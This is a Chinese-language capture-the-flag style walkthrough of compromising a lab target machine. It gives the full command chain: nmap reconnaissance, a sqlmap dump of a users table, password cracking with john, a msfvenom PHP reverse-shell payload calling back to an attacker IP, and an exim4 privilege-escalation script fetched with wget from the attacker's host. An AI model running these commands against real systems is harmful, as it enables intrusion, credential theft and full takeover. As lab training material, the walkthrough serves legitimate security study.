靶机地址
一.进行信息收集
1.使用nmap扫描,进行主机发现
nmap -sn 192.168.25.0/24
使用nmap扫描之后发现ip地址为:192.168.25.152
2.使用nmap进行端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.25.152
发现其开启了22,80端口
3.使用dirsearch扫描敏感目录,发现后台登录页面
4.使用nmap扫描一下存在的漏洞,没有发现可以利用的漏洞
nmap --script=vuln -p22,80 192.168.25.152
5.使用小工具收集web指纹信息
6.点击的过程中发现路径参数变化,可能存在sql注入,用sqlmap跑一下
1.我这里使用的是抓取数据包,直接读取数据包进行注入,用哪个burpsuite抓包,将数据包保存成1.txt文件
2. 获取数据库名称
sqlmap -r 1.txt --batch --dbs
3.猜测数据库为d7db,拿到数据表
sqlmap -r 1.txt --batch -D "d7db" --tables
4.看到一张users表,看看里面的字段
sqlmap -r 1.txt --batch -D "d7db" -T "users" --columns
5.拿到里面name和pass字段的内容
sqlmap -r 1.txt --batch -D "d7db" -T "users" -C "name,pass" --dump
6.将pass的内容保存成一个txt文件,使用john解密,解密得到john的密码为turtle
二.获取shell
1.使用john账号登录,发现这里可以解析php脚本
2.这里可以使用msf生成的木马获取shell,使用msfvenom
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.23.11.188 LPORT=4444 -f raw > shell.php
3.将使用msf的multi/handler模块监听4444端口
4.将生成的木马内容复制到文本框中并使用php解析
5.这里随便输入一些信息,点击提交后,发现msf中已经建立了连接
6.进入shell ,利用python的pty模块获取一个shell
shell
python -c "import pty;pty.spawn('/bin/sh')";
三.权限提升
1.查看具有root用户权限的文件
find / -user root -perm -4000 -print 2>/dev/null
2.sudo提权需要密码,看来不行
3.发现exim4这个东西,百度查了查,发现确实存在提权漏洞找到了它的提权脚本
4.找到46996.sh的信息
5.将它下载到本地,上传到靶机的tmp目录下
1.在本地开启一个服务
python2 -m SimpleHTTPServer 9999
2.在tmp目录下拉取46996.sh
wget 172.23.11.188:9999/46996.sh
3.根据脚本中的使用方法运行脚本
./46996.sh -m netcat
无法运行,无执行权限
4.增加权限
chmod 777 46966.sh
5.继续运行脚本,发现还是无法执行
6. 查找发现是格式的问题,使用sed过滤一遍就好了
sed -i 's/\r//g' 46996.sh